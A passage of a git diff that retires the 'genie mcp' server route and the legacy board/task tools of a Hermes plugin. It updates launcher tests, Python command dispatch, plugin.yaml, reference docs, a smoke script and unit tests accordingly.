expect(JSON.parse(result.stdout.toString())).toEqual({ args: ['mcp'], cwd: SOURCE_PLUGIN }); - }); - - test('starts from an extracted plugin copy without escaping its relative launcher path', () => { - const extracted = join(root, 'extracted', 'plugins', 'genie'); - mkdirSync(join(root, 'extracted', 'plugins'), { recursive: true }); - cpSync(SOURCE_PLUGIN, extracted, { recursive: true, dereference: false, verbatimSymlinks: true }); - const genieHome = join(root, 'genie-home'); - seedFakeGenie(genieHome); - const result = runLauncher(extracted, genieHome); - expect(result.exitCode).toBe(0); - expect(JSON.parse(result.stdout.toString())).toEqual({ args: ['mcp'], cwd: realpathSync(extracted) }); - }); - - test('starts from a Codex-like versioned cache using the same bare Node command', () => { - const cached = join(root, 'cache', 'automagik', 'genie', 'fixture-version'); - mkdirSync(join(root, 'cache', 'automagik', 'genie'), { recursive: true }); - cpSync(SOURCE_PLUGIN, cached, { recursive: true, dereference: false, verbatimSymlinks: true }); - const genieHome = join(root, 'genie-home'); - seedFakeGenie(genieHome); - const result = runLauncher(cached, genieHome); - expect(result.exitCode).toBe(0); - expect(JSON.parse(result.stdout.toString())).toEqual({ args: ['mcp'], cwd: realpathSync(cached) }); - }); - - test('missing canonical binary fails closed even when PATH contains a different genie', () => { - const pathBin = join(root, 'path-bin'); - mkdirSync(pathBin, { recursive: true }); - const decoy = join(pathBin, 'genie'); - writeFileSync(decoy, `#!${NODE_BIN}\nprocess.stdout.write('PATH FALLBACK RAN');\n`); - chmodSync(decoy, 0o755); - - controlledNodePath(); - const result = runLauncher( - SOURCE_PLUGIN, - join(root, 'missing-home'), - `${join(root, 'controlled-path')}:${pathBin}:/usr/bin:/bin`, - ); - expect(result.exitCode).not.toBe(0); - expect(result.stdout.toString()).not.toContain('PATH FALLBACK RAN'); - expect(result.stderr.toString()).toContain('launcher refused startup'); - expect(result.stderr.toString()).toContain(join('missing-home', 'bin', process.platform === 'win32' ? 'genie.exe' : 'genie')); - }); - - test('termination escalates and the wrapper exits when the MCP child ignores SIGTERM', async () => { - if (process.platform === 'win32') return; - const genieHome = join(root, 'genie-home'); - const binary = join(genieHome, 'bin', 'genie'); - const ready = join(root, 'ready'); - mkdirSync(join(genieHome, 'bin'), { recursive: true }); - writeFileSync( - binary, - `#!${NODE_BIN}\nrequire('node:fs').writeFileSync(process.env.FAKE_READY, 'ready');\nprocess.on('SIGTERM', () => {});\nsetInterval(() => {}, 10000);\n`, - ); - chmodSync(binary, 0o755); - const proc = Bun.spawn(['node', './scripts/mcp-launcher.cjs'], { - cwd: SOURCE_PLUGIN, - env: { - ...process.env, - GENIE_HOME: genieHome, - GENIE_MCP_KILL_GRACE_MS: '40', - FAKE_READY: ready, - PATH: controlledNodePath(), - }, - stdin: 'ignore', - stdout: 'ignore', - stderr: 'ignore', - }); - for (let attempt = 0; attempt < 100 && !existsSync(ready); attempt += 1) await Bun.sleep(10); - expect(existsSync(ready)).toBe(true); - const started = performance.now(); - proc.kill('SIGTERM'); - expect(await proc.exited).not.toBe(0); - expect(performance.now() - started).toBeLessThan(1_000); - }); -}); diff --git a/plugins/genie/skills/genie/reference/lifecycle.md b/plugins/genie/skills/genie/reference/lifecycle.md index 5a5e4160b..5401ccc69 100644 --- a/plugins/genie/skills/genie/reference/lifecycle.md +++ b/plugins/genie/skills/genie/reference/lifecycle.md @@ -94,7 +94,7 @@ The checkout claim is atomic: exactly one concurrent claimant wins; the loser ge genie board [--wish <slug>] [--json] # kanban of current state genie task status <id> # detail, dependencies, stage log genie task list --status in_progress # active claims -genie mcp # stdio MCP server over the task DB (read + write tools) +genie mcp # stable non-zero retirement diagnostic (no server starts) ``` No terminal scraping, no sleep-polling — subagents notify on completion, and a retired orchestration-guard hook used to flag scraping patterns. diff --git a/plugins/hermes-genie/README.md b/plugins/hermes-genie/README.md index 8370e00b7..5a0796b77 100644 --- a/plugins/hermes-genie/README.md +++ b/plugins/hermes-genie/README.md @@ -1,6 +1,6 @@ # Genie Hermes Plugin -The Hermes-native surface for Genie orchestration: seven read-only tools, `/genie` slash commands, advisory hooks, a `hermes genie` CLI tree, and workflow skills — all wrapping the genie v5 CLI through an argv-only subprocess bridge. Every payload reports `mutation: "none"`. +The Hermes-native surface for Genie orchestration: three read-only gap tools, `/genie` slash commands, advisory hooks, a `hermes genie` CLI tree, and workflow skills — all wrapping the Genie v5 CLI through an argv-only subprocess adapter. Every payload reports `mutation: "none"`. ## Install @@ -40,23 +40,25 @@ Then, inside a Hermes session: /genie help ``` -## Tools +## Tools and commands -All seven tools are read-only — every payload carries `mutation: "none"`. +The three registered tools are read-only — every payload carries `mutation: "none"`. | Tool | What it does | Mutation | |------|--------------|----------| | `genie_status` | Genie installation health (`genie doctor --json`) plus a `.genie/` presence check | none | -| `genie_board` | Planning board (`genie board --json`), optionally scoped to one wish | none | -| `genie_wish_status` | Composite wish status: board slice plus task list for one slug | none | -| `genie_task_list` | Task list with optional wish and status filters | none | -| `genie_task_status` | One task's detail, dependencies, and stage log (raw capture) | none | | `genie_work_plan` | Spawn-plan preview via `genie context --wish <slug> --plan` | none | | `genie_review_plan` | Board/tasks plus Success and QA Criteria extracted from the wish's WISH.md | none | +The `/genie board` and `/genie wish` command paths read the same standalone `genie board --json` and +`genie task list --json` data through the local argv adapter. They do not invoke a registered tool route. + The full layer map (slash commands, CLI tree, hooks, skills), payload contract, and grounded tool-to-CLI mapping live in [`references/native-surface.md`](references/native-surface.md). -The authoritative Claude/Codex/Hermes parity document — shipped surfaces per client, the MCP-vs-native tool map, skill invocation via `skills.external_dirs`, install/update convergence paths, and the mutation-gate pointer — lives in [`references/hermes-integration-map.md`](references/hermes-integration-map.md). It marks each row current vs the homogeneous target this integration builds. +The authoritative Claude/Codex/Hermes parity document — shipped surfaces per client, retired-route history, +skill invocation via `skills.external_dirs`, install/update convergence paths, and the mutation-gate pointer — lives in +[`references/hermes-integration-map.md`](references/hermes-integration-map.md). It marks each row current versus the +homogeneous target this integration builds. ## Boundary diff --git a/plugins/hermes-genie/__init__.py b/plugins/hermes-genie/__init__.py index ed2da87bf..34424cbe1 100644 --- a/plugins/hermes-genie/__init__.py +++ b/plugins/hermes-genie/__init__.py @@ -3,10 +3,8 @@ Registers three read-only *gap* tools that bridge Hermes to the Genie CLI through a safe subprocess layer (argv lists only, mutation always "none") — ``genie_status``, ``genie_work_plan``, and ``genie_review_plan`` — the surface -the genie MCP board tools do not already cover. Four legacy board/task tools -(``genie_board``, ``genie_wish_status``, ``genie_task_list``, -``genie_task_status``) duplicate MCP truth and register only when -``GENIE_HERMES_LEGACY_TOOLS=1`` is set, for one transition release. +needed by the Hermes cockpit. Board/task handlers remain available to the +standalone slash-command surface, but are never exposed as duplicate tools. Also registers slash commands, advisory hooks, a thin cockpit skill, and a CLI command tree. Only ``ctx.register_tool`` is required; every other registration @@ -17,19 +15,9 @@ from __future__ import annotations import json -import os from pathlib import Path from typing import Any -#: Env flag that restores the four legacy board/task tools for one transition -#: release. Off by default so the native surface stays the three MCP gap tools. -LEGACY_TOOLS_ENV = "GENIE_HERMES_LEGACY_TOOLS" - - -def _legacy_tools_enabled() -> bool: - """True when the legacy board/task tools should register (transition flag).""" - return os.environ.get(LEGACY_TOOLS_ENV) == "1" - try: # package import (Hermes loads plugins as packages) from . import schemas from .genie_bridge import payload, resolve_cwd, run_genie, validate_ref @@ -292,9 +280,7 @@ def register(ctx) -> None: Hermes context exposes the matching ``register_*`` method, so a tool-only context still completes cleanly. - Default registration exposes exactly the three MCP gap tools. Setting - ``GENIE_HERMES_LEGACY_TOOLS=1`` restores the four legacy board/task tools - that duplicate MCP truth, for one transition release. + Registration exposes exactly the three native planning/status tools. """ # Gap tools the genie MCP board surface does not cover — always registered. gap_tool_defs: list[tuple[dict[str, Any], Any, str]] = [ @@ -302,17 +288,7 @@ def register(ctx) -> None: (schemas.GENIE_WORK_PLAN_SCHEMA, _genie_work_plan, "🛠️"), (schemas.GENIE_REVIEW_PLAN_SCHEMA, _genie_review_plan, "🔎"), ] - # Legacy board/task tools — duplicate MCP truth; behind the transition flag. - legacy_tool_defs: list[tuple[dict[str, Any], Any, str]] = [ - (schemas.GENIE_BOARD_SCHEMA, _genie_board, "📋"), - (schemas.GENIE_WISH_STATUS_SCHEMA, _genie_wish_status, "🌠"), - (schemas.GENIE_TASK_LIST_SCHEMA, _genie_task_list, "🧩"), - (schemas.GENIE_TASK_STATUS_SCHEMA, _genie_task_status, "📌"), - ] - tool_defs = list(gap_tool_defs) - if _legacy_tools_enabled(): - tool_defs.extend(legacy_tool_defs) - for schema, handler, emoji in tool_defs: + for schema, handler, emoji in gap_tool_defs: ctx.register_tool( name=schema["name"], toolset="genie", diff --git a/plugins/hermes-genie/commands.py b/plugins/hermes-genie/commands.py index 4625ecfb7..69ab4755d 100644 --- a/plugins/hermes-genie/commands.py +++ b/plugins/hermes-genie/commands.py @@ -1,7 +1,7 @@ """Slash-command and CLI dispatch surface for the Hermes Genie plugin. Pure formatting and dispatch: parses operator argument strings, calls the -read-only tool handlers defined in the plugin module, and renders their JSON +read-only standalone Genie CLI adapters defined in the plugin module, and renders their JSON payloads as short, outcome-first human-readable text (outcome line first, then key facts, then the evidence command argv on one line). No subprocess or filesystem work happens here. @@ -35,7 +35,7 @@ _genie_work_plan, ) -_Invoke = Callable[[str, Callable[..., str], dict[str, Any]], str] +_Invoke = Callable[[Callable[..., str], dict[str, Any]], str] _Runner = Callable[[list[str], dict[str, Any], _Invoke], str] _HELP = """\ @@ -130,7 +130,7 @@ def _usage(usage: str) -> str: def _run_status(rest: list[str], base: dict[str, Any], invoke: _Invoke) -> str: - payload = _payload_of(invoke("genie_status", _genie_status, dict(base))) + payload = _payload_of(invoke(_genie_status, dict(base))) data = payload.get("data") fact: str | None = None if isinstance(data, dict) and "genie_dir_present" in data: @@ -145,7 +145,7 @@ def _run_board(rest: list[str], base: dict[str, Any], invoke: _Invoke) -> str: if rest: args["wish"] = rest[0] title = f"genie board (wish {rest[0]})" - payload = _payload_of(invoke("genie_board", _genie_board, args)) + payload = _payload_of(invoke(_genie_board, args)) return _render(title, payload, [_data_summary(payload)]) @@ -155,7 +155,7 @@ def _run_wish(rest: list[str], base: dict[str, Any], invoke: _Invoke) -> str: slug = rest[0] args = dict(base) args["slug"] = slug - payload = _payload_of(invoke("genie_wish_status", _genie_wish_status, args)) + payload = _payload_of(invoke(_genie_wish_status, args)) data = payload.get("data") facts: list[str | None] = [] if isinstance(data, dict): @@ -174,7 +174,7 @@ def _run_work_plan(rest: list[str], base: dict[str, Any], invoke: _Invoke) -> st tail = tail[1:] if tail: args["group"] = tail[0] - payload = _payload_of(invoke("genie_work_plan", _genie_work_plan, args)) + payload = _payload_of(invoke(_genie_work_plan, args)) return _render(f"genie work-plan {slug}", payload, ["mode: plan (read-only, nothing executed)", _data_summary(payload)]) @@ -184,7 +184,7 @@ def _run_review_plan(rest: list[str], base: dict[str, Any], invoke: _Invoke) -> slug = rest[0] args = dict(base) args["slug"] = slug - payload = _payload_of(invoke("genie_review_plan", _genie_review_plan, args)) + payload = _payload_of(invoke(_genie_review_plan, args)) data = payload.get("data") facts: list[str | None] = [] if isinstance(data, dict): @@ -214,29 +214,9 @@ def _base_args(kwargs: dict[str, Any]) -> dict[str, Any]: return {"cwd": str(cwd)} if cwd else {} -def _resolve_invoker(kwargs: dict[str, Any]) -> _Invoke: - """Prefer the MCP tool via the plugin context; fall back to the legacy bridge. - - When Hermes passes a plugin context that can invoke tools (``call_tool``), - dispatch board/task/status subcommands to the first-class MCP tool name so - the human surface rides the same truth as the model. During the transition - the context may be absent (or the MCP call may fail) — then we fall back to - the plugin-local read-only bridge handler, preserving today's behavior. - """ - ctx = kwargs.get("context") or kwargs.get("ctx") or kwargs.get("plugin_context") - caller = getattr(ctx, "call_tool", None) if ctx is not None else None - - def invoke(tool_name: str, local_handler: Callable[..., str], args: dict[str, Any]) -> str: - if callable(caller): - try: - result = caller(tool_name, args) - except Exception: # noqa: BLE001 — any MCP failure degrades to the legacy bridge - result = None - if isinstance(result, str): - return result - return local_handler(args) - - return invoke +def _invoke_standalone(adapter: Callable[..., str], args: dict[str, Any]) -> str: + """Read through the plugin-local argv adapter for standalone Genie JSON commands.""" + return adapter(args) def slash_genie(args_text: str = "", **kwargs: Any) -> str: @@ -248,7 +228,7 @@ def slash_genie(args_text: str = "", **kwargs: Any) -> str: runner = _RUNNERS.get(sub) if runner is None: return f"Unknown /genie subcommand: {sub!r}. See /genie help for the available subcommands." - return runner(tokens[1:], _base_args(kwargs), _resolve_invoker(kwargs)) + return runner(tokens[1:], _base_args(kwargs), _invoke_standalone) def slash_genie_board(args_text: str = "", **kwargs: Any) -> str: diff --git a/plugins/hermes-genie/plugin.yaml b/plugins/hermes-genie/plugin.yaml index d0d2ff446..98642b6cc 100644 --- a/plugins/hermes-genie/plugin.yaml +++ b/plugins/hermes-genie/plugin.yaml @@ -1,14 +1,11 @@ name: genie version: 5.260829.7 -description: "Native Hermes surface for Genie orchestration: read-only status plus work-plan and review-plan gap tools that the MCP board surface does not cover, hooks, commands, and a thin cockpit skill. Board/task truth comes from the genie MCP tools." +description: "Native Hermes surface for Genie orchestration: read-only status, work-plan and review-plan tools, hooks, commands, and a thin cockpit skill." provides_tools: - # Default surface: exactly the three gap tools the MCP board surface does not cover. + # Exactly three native read-only planning/status tools. - genie_status - genie_work_plan - genie_review_plan - # Legacy tools (genie_board, genie_wish_status, genie_task_list, genie_task_status) - # duplicate MCP board/task truth. They only register when - # GENIE_HERMES_LEGACY_TOOLS=1 is set, for one transition release. provides_hooks: - on_session_start - pre_tool_call diff --git a/plugins/hermes-genie/references/hermes-integration-map.md b/plugins/hermes-genie/references/hermes-integration-map.md index 78a705e97..ae62e8c8a 100644 --- a/plugins/hermes-genie/references/hermes-integration-map.md +++ b/plugins/hermes-genie/references/hermes-integration-map.md @@ -26,23 +26,17 @@ skills, same MCP tool set, same agent-sync convergence, same doctor coverage. | Plugin manifest | `.claude-plugin/plugin.json` (Skills, Hooks, MCP) — **current** | `plugins/genie/.codex-plugin/plugin.json` — **current** | `plugins/hermes-genie/plugin.yaml` declared 7 native tools + hooks + commands + 4 skills — **pre-wish** | `plugins/hermes-genie/plugin.yaml` declares 3 native tools + MCP + hooks; skills sourced via `skills.external_dirs` — **current** | | Skills path | canonical `skills/` (23) — **current** | `skills/` canonical + `plugins/genie/skills/` mirror (23) — **current** | 4 plugin-local skills (`genie`, `genie-work`, `genie-review`, `genie-khaw-bridge`) — **pre-wish** | the 23 product skills via `skills.external_dirs` pointed at the release-converged **`$GENIE_HOME/skills`** root (resolver fallback chain: explicit override → `$GENIE_HOME/skills` → `$GENIE_HOME/plugins/genie/skills`); ≤1 thin cockpit adapter via `ctx.register_skill` — **current** | | Hooks | Claude hook set — **current** | `codex-hooks.json` H3/H4/H6 — **current** | `on_session_start`, `pre_tool_call`, `post_tool_call` (advisory KHAW bridge) — **pre-wish** | `on_session_start`, `pre_tool_call`, `pre_llm_call` (advisory, read-only, no mutation; KHAW bridge removed) — **current** | -| MCP | `.mcp.json` → `genie mcp` (5 read + 12 write tools) — **current** | `plugins/genie/.mcp.json` → `genie mcp` (5 read + 12 write tools) — **current** | none — native tools only — **pre-wish** | `genie mcp` wired as the shared 17-tool read + write server — **current** | -| Agent-sync lane | `syncClaude` — **current** | `syncCodex` — **current** | `syncHermes` symlinks `$HERMES_HOME/plugins/genie` → sibling `hermes-genie`, runs `hermes plugins enable genie` — **pre-wish** | same lane, now also converging (after link/enable) the `skills.external_dirs` entry for `$GENIE_HOME/skills` + the `mcp_servers.genie` wiring into the live profile's `config.yaml`; inline top-level `mcp_servers:`/`skills:` degrade to a non-fatal WARN skip — **current** | -| Doctor coverage | `agent sync: claude` — **current** | `agent sync: codex` — **current** | `agent sync: hermes — linked → …` — **pre-wish** | Hermes lane + MCP + skills-dir checks in `genie doctor` — **current** | +| MCP | Retired | Retired | none — native tools only — **pre-wish** | Retired; no Genie-owned route is converged | +| Agent-sync lane | `syncClaude` — **current** | `syncCodex` — **current** | `syncHermes` symlinks `$HERMES_HOME/plugins/genie` → sibling `hermes-genie`, runs `hermes plugins enable genie` — **pre-wish** | link/enable plus `skills.external_dirs`; historical owned MCP markers are removed | +| Doctor coverage | `agent sync: claude` — **current** | `agent sync: codex` — **current** | `agent sync: hermes — linked → …` — **pre-wish** | Hermes lane + skills-dir checks in `genie doctor` | ## Tool map -Convergence, shipped: the shared **MCP** server (`genie mcp`, read + write tools) provides the board/wish/task -surface for every client; Hermes keeps only the tools that have no MCP equivalent. **No duplicates** — -a tool is either an MCP tool or a native Hermes tool, never both. +The shared MCP server is retired. Hermes uses its native tools and the standalone +Genie CLI; no MCP compatibility route is registered. | Kind | Tool | Wraps (read-only) | Status | |------|------|-------------------|--------| -| MCP (shared) | `genie_board` | `genie board --json` | **current** — provided by `genie mcp` | -| MCP (shared) | `genie_wish_status` | board slice + task list for one slug | **current** — provided by `genie mcp` | -| MCP (shared) | `genie_task` | task list / task detail | **current** — provided by `genie mcp` | -| MCP (shared) | `genie_active` | active wishes/tasks snapshot | **current** — provided by `genie mcp` | -| MCP (shared) | `genie_worktree_context` | resolved worktree/branch/cwd context | **current** — provided by `genie mcp` | | Native Hermes | `genie_status` | `genie doctor --json` + `.genie/` presence | **current** — remains native | | Native Hermes | `genie_work_plan` | `genie context --wish <slug> --plan` | **current** — remains native | | Native Hermes | `genie_review_plan` | board/tasks + Success/QA criteria from WISH.md | **current** — remains native | @@ -51,11 +45,6 @@ a tool is either an MCP tool or a native Hermes tool, never both. replace them — do not re-add): `genie_board`, `genie_wish_status`, `genie_task_list`, `genie_task_status`. -**Transitional gate:** `GENIE_HERMES_LEGACY_TOOLS=1` re-exposes the retired native tools for one -migration window so a host pinned to the old surface does not break mid-upgrade. It is opt-in, -off by default, and slated for removal once all hosts are on the MCP path. It never changes the -read-only contract — every tool still reports `mutation: "none"`. - Pre-wish baseline: `plugin.yaml` shipped all 7 tools natively and there was no MCP server on the Hermes side. See baseline notes. @@ -94,7 +83,7 @@ manual dual system, and no lifecycle hook installs, updates, or synchronizes the | Path | Effect on Hermes | |------|------------------| -| `genie install --integrations hermes` | Runs the `syncHermes` lane: symlinks `$HERMES_HOME/plugins/genie` → sibling `hermes-genie`, best-effort `hermes plugins enable genie`, then converges the `skills.external_dirs` entry for `$GENIE_HOME/skills` and the `mcp_servers.genie` command into the live profile's `config.yaml`. Proven per-leg by `genie doctor`. | +| `genie install --integrations hermes` | Runs the `syncHermes` lane: symlinks `$HERMES_HOME/plugins/genie` → sibling `hermes-genie`, best-effort enables it, converges `skills.external_dirs`, and retires only a marker-owned historical `mcp_servers.genie` block. | | `genie update` | Re-runs the same convergence inside the already-reviewed parent process; refreshes the linked surface. | | `genie setup` / `genie setup --hermes` | Configures + persists Hermes maintenance consent used by later explicit updates. | diff --git a/plugins/hermes-genie/references/mutation-gates.md b/plugins/hermes-genie/references/mutation-gates.md index fc64f1ede..9b3405fc8 100644 --- a/plugins/hermes-genie/references/mutation-gates.md +++ b/plugins/hermes-genie/references/mutation-gates.md @@ -5,8 +5,8 @@ The rules that keep the Hermes-native surface read-only, and the gate every futu ## Read-only MVP boundary - Every tool, slash command, hook, and skill in this plugin reports `mutation: "none"` and performs no state writes — no task claims, no dispatch, no sends, no writes under `.genie/`. -- The default native surface is the three gap tools the MCP board surface does not cover: `genie_status` (`doctor --json` plus `.genie/` presence), `genie_work_plan` (`context --wish <slug> --plan`), and `genie_review_plan` (board/task composite plus the WISH.md acceptance sections). Board and task truth come from the genie MCP tools. -- The four legacy board/task tools (`genie_board`, `genie_wish_status`, `genie_task_list`, `genie_task_status`) still exist behind `GENIE_HERMES_LEGACY_TOOLS=1` for one transition release; they wrap the same read-only subcommands (`board --json`, `task list --json`, `task status <id>`) and remain `mutation: "none"`. All subprocess calls use the argv-only bridge. +- The native surface is exactly three read-only tools: `genie_status`, `genie_work_plan`, and `genie_review_plan`. Board/task truth remains available through standalone `genie board` and `genie task` commands. +- Historical duplicate board/task tool registrations and their flag gate are retired. All surviving subprocess calls use the argv-only bridge. - `genie board --json` writes in exactly one shape: scoped with `--board <ref>` to a lane-defining board, it reconciles sync-owned card lanes from WISH.md statuses before rendering. This surface never passes `--board` — `genie_board` accepts only `cwd` and `wish`, and `genie_wish_status`/`genie_review_plan`/`session_context` are wish-scoped or unscoped — so every board read here takes the laneless path and writes nothing. Exposing a `board` parameter would make the tool mutation-capable and requires the gate below. - The plan line is the boundary: `genie_work_plan` runs `genie context --wish <slug> --plan`, which prints the spawn-context payload (branch + base SHA + ready tasks) and touches nothing. Materializing a worktree or spawning an agent is a mutation and is out of scope here. diff --git a/plugins/hermes-genie/references/native-surface.md b/plugins/hermes-genie/references/native-surface.md index 3832c0d6e..18d8ce6a7 100644 --- a/plugins/hermes-genie/references/native-surface.md +++ b/plugins/hermes-genie/references/native-surface.md @@ -6,8 +6,8 @@ What the Genie Hermes plugin exposes, layer by layer, and the exact contract eve | Layer | Provides | Declared in `plugin.yaml` | |-------|----------|---------------------------| -| Tools (default) | `genie_status`, `genie_work_plan`, `genie_review_plan` — the three gap tools the genie MCP board surface does not cover | `provides_tools` | -| Tools (legacy, flag-gated) | `genie_board`, `genie_wish_status`, `genie_task_list`, `genie_task_status` — duplicate MCP board/task truth; register only when `GENIE_HERMES_LEGACY_TOOLS=1` for one transition release | not declared (transitional) | +| Tools (default) | `genie_status`, `genie_work_plan`, `genie_review_plan` — read-only native tools backed by standalone Genie CLI JSON | `provides_tools` | +| Retired tools | Historical duplicate board/task native tools cannot be restored by configuration or environment flags | not declared | | Slash commands | `/genie` dispatcher (`status`, `board`, `wish`, `work-plan`, `review-plan`, `help`) plus thin wrappers `/genie-board`, `/genie-wish`, `/genie-work-plan`, `/genie-review-plan` | `provides_commands` | | CLI tree | `hermes genie` with subcommands `status`, `board`, `wish`, `work-plan`, `review-plan` | `provides_cli_commands` | | Hooks | `on_session_start`, `pre_tool_call`, `pre_llm_call` | `provides_hooks` | @@ -15,10 +15,10 @@ What the Genie Hermes plugin exposes, layer by layer, and the exact contract eve Layer semantics: -- **Slash commands** — `/genie <subcommand>` gives outcome-first, human-readable output; an unknown subcommand answers with a pointer to `/genie help`. The `/genie-*` wrappers are aliases into the same dispatcher. When Hermes passes a plugin context that can invoke tools (`call_tool`), the dispatcher routes each subcommand to the first-class MCP tool name so the human surface rides the same truth as the model; when no such context is present (or the MCP call fails) it falls back to the plugin-local read-only bridge handler during the transition. +- **Slash commands** — `/genie <subcommand>` gives outcome-first, human-readable output; an unknown subcommand answers with a pointer to `/genie help`. The `/genie-*` wrappers are aliases into the same dispatcher and read through the plugin-local standalone CLI bridge. - **CLI tree** — registered only when the Hermes build exposes `register_cli_command`. Registration of CLI commands, skills, and hooks is `hasattr`-guarded, so `register(ctx)` completes cleanly on builds that lack any of them. - **Hooks** — advisory only, never blocking. `on_session_start` injects a short reminder when the working directory contains `.genie/`; `pre_tool_call` raises an advisory when a terminal command scrapes or sleep-polls Genie state (e.g. `tmux capture-pane`) instead of using the structured tools; `pre_llm_call` injects bounded Genie session context when the working directory contains `.genie/` and returns `None` (no injection) otherwise. All report `mutation: "none"`. -- **Skills** — a single thin cockpit pointer (`genie`) that routes to the first-class product `wish`/`work`/`review` skills and to the MCP tools for board truth. The former plugin-local `genie-work`/`genie-review` duplicates are retired (the product skills are canonical), and the `genie-khaw-bridge` skill moved to the KHAW plugin. +- **Skills** — a single thin cockpit pointer (`genie`) that routes to first-class product `wish`/`work`/`review` skills and standalone board/task commands. The former plugin-local duplicates are retired. ## Payload contract @@ -51,10 +51,10 @@ Every tool returns a JSON string with one uniform envelope: | `genie_status` | `genie doctor --json` | gap tool (default). `data` wraps the doctor report as `data.doctor` plus `data.genie_dir` / `data.genie_dir_present` for the resolved cwd | | `genie_work_plan` | `genie context --wish <slug> --plan [--group <g>]` | gap tool (default). Plan mode prints the versioned spawn-context payload (branch + base SHA + ready tasks, raw JSON capture) without touching anything | | `genie_review_plan` | board + task-list composite, then reads `.genie/wishes/<slug>/WISH.md` | gap tool (default). Extracts the `## Success Criteria` and `## QA Criteria` sections into `data.criteria`; `source` is the wish-file path | -| `genie_board` | `genie board --json [--wish <slug>]` | legacy (flag-gated). Duplicates the MCP board tool; prefer the MCP surface | -| `genie_wish_status` | `genie board --wish <slug> --json` + `genie task list --wish <slug> --json` | legacy (flag-gated). Composite: `data.board` and `data.tasks` are full leg payloads | -| `genie_task_list` | `genie task list --json [--wish <slug>] [--status <status>]` | legacy (flag-gated). `status` is one of `blocked`, `ready`, `in_progress`, `done` | -| `genie_task_status` | `genie task status <id>` | legacy (flag-gated). Raw text capture (`parsed: false` expected) | +| `genie_board` | `genie board --json [--wish <slug>]` | retired duplicate native name; use the standalone command directly | +| `genie_wish_status` | `genie board --wish <slug> --json` + `genie task list --wish <slug> --json` | retired duplicate native name | +| `genie_task_list` | `genie task list --json [--wish <slug>] [--status <status>]` | retired duplicate native name | +| `genie_task_status` | `genie task status <id>` | retired duplicate native name | ## Input safety diff --git a/plugins/hermes-genie/scripts/smoke.sh b/plugins/hermes-genie/scripts/smoke.sh index 5ef756f86..5760c4ff1 100755 --- a/plugins/hermes-genie/scripts/smoke.sh +++ b/plugins/hermes-genie/scripts/smoke.sh @@ -5,7 +5,7 @@ # the homogeneous contract: # # 1. plugin link converged + plugin.yaml version == genie release version -# 2. mcp_servers.genie present with an absolute, existing, executable command +# 2. historical marker-owned route retired; no standalone Genie MCP route added # 3. skills.external_dirs holds the product skills root (or a managed copy) # 4. no khaw-bridge skill in the payload; pre_llm_call hook, not post_tool_call # 5. `genie doctor` reports every hermes leg green @@ -119,24 +119,13 @@ else fi # --------------------------------------------------------------------------- -# 2) mcp_servers.genie present with an absolute, existing, executable command +# 2) Historical marker-owned route absent; standalone task/board needs no MCP config. # --------------------------------------------------------------------------- if [ -f "$CONFIG" ]; then - mcp_cmd="$(awk '/genie:managed:mcp_servers.genie/{f=1} f&&/^[[:space:]]*command:/{print;exit}' "$CONFIG" \ - | sed -E 's/.*command:[[:space:]]*"?([^"]*)"?[[:space:]]*$/\1/')" - if [ -z "$mcp_cmd" ]; then - # Fall back to an unmarked genie entry if the managed marker block is absent. - mcp_cmd="$(awk '/^mcp_servers:/{m=1} m&&/^[[:space:]]+genie:/{g=1} g&&/^[[:space:]]*command:/{print;exit}' "$CONFIG" \ - | sed -E 's/.*command:[[:space:]]*"?([^"]*)"?[[:space:]]*$/\1/')" - fi - if [ -z "$mcp_cmd" ]; then - fail "mcp_servers.genie.command absent in $CONFIG" - elif [ "${mcp_cmd#/}" = "$mcp_cmd" ]; then - fail "mcp_servers.genie.command not absolute ($mcp_cmd)" - elif [ ! -x "$mcp_cmd" ]; then - fail "mcp_servers.genie.command missing or not executable ($mcp_cmd)" + if grep -Eq 'genie:managed:mcp_servers\.genie|^[[:space:]]+genie:[[:space:]]*$' "$CONFIG"; then + fail "retired mcp_servers.genie route remains in $CONFIG" else - pass "mcp_servers.genie -> $mcp_cmd (absolute, executable)" + pass "mcp_servers.genie absent" fi else fail "isolated Hermes config absent: $CONFIG" diff --git a/plugins/hermes-genie/skills/genie/SKILL.md b/plugins/hermes-genie/skills/genie/SKILL.md index 8b4e2c998..fc031281b 100644 --- a/plugins/hermes-genie/skills/genie/SKILL.md +++ b/plugins/hermes-genie/skills/genie/SKILL.md @@ -1,6 +1,6 @@ --- name: genie -description: Thin cockpit pointer for driving Genie from Hermes — load the product wish/work/review skills via the first-class skill path, use the MCP board tools for task truth, keep mutations human-gated. +description: Thin cockpit pointer for driving Genie from Hermes — load product wish/work/review skills, use standalone board/task commands for task truth, and keep mutations human-gated. --- # Genie Cockpit Pointer @@ -15,11 +15,10 @@ as canonical over anything scraped from a terminal. skills directly: `wish`, `work`, and `review`. This plugin no longer ships `genie-work`/`genie-review` duplicates — the product skills are canonical. -## Use MCP for board truth +## Use standalone board/task truth -- Read board and task state through the genie MCP tools (`genie_board`, - `genie_wish_status`, `genie_task`) rather than terminal scraping. The native - Hermes surface only adds the gap tools MCP does not cover: `genie_status` +- Read board and task state through standalone `genie board` and `genie task` + commands rather than terminal scraping. The native Hermes surface adds `genie_status` (doctor plus `.genie` presence), `genie_work_plan` (`context --plan` spawn preview), and `genie_review_plan` (wish status plus acceptance criteria). - Never poll panes with `tmux capture-pane` or `sleep` loops to infer worker diff --git a/plugins/hermes-genie/tests/test_commands.py b/plugins/hermes-genie/tests/test_commands.py index ea1b73e6b..3cf5e499d 100644 --- a/plugins/hermes-genie/tests/test_commands.py +++ b/plugins/hermes-genie/tests/test_commands.py @@ -107,58 +107,26 @@ def fake_board(args: dict, **kwargs: Any) -> str: assert "items: 2" in text -def test_board_prefers_mcp_tool_when_context_available(monkeypatch): +def test_board_uses_standalone_adapter_and_ignores_plugin_context(monkeypatch): commands = load_commands() + calls: list[dict[str, Any]] = [] - def legacy_bridge(args: dict, **kwargs: Any) -> str: - raise AssertionError("legacy bridge used despite an MCP-capable context") - - monkeypatch.setattr(commands, "_genie_board", legacy_bridge) - calls: list[tuple[str, dict[str, Any]]] = [] - - class Ctx: - def call_tool(self, name: str, args: dict[str, Any]) -> str: - calls.append((name, dict(args))) - return json.dumps( - { - "success": True, - "mutation": "none", - "cwd": "/repo", - "command": ["genie", "board", "--json", "--wish", "demo"], - "data": [{"id": 1}], - } - ) - - text = commands.slash_genie("board demo", context=Ctx()) - assert calls and calls[0][0] == "genie_board" - assert calls[0][1].get("wish") == "demo" - assert text.splitlines()[0].startswith("OK") - - -def test_board_falls_back_to_legacy_bridge_when_mcp_call_fails(monkeypatch): - commands = load_commands() - used_bridge: list[bool] = [] - - def legacy_bridge(args: dict, 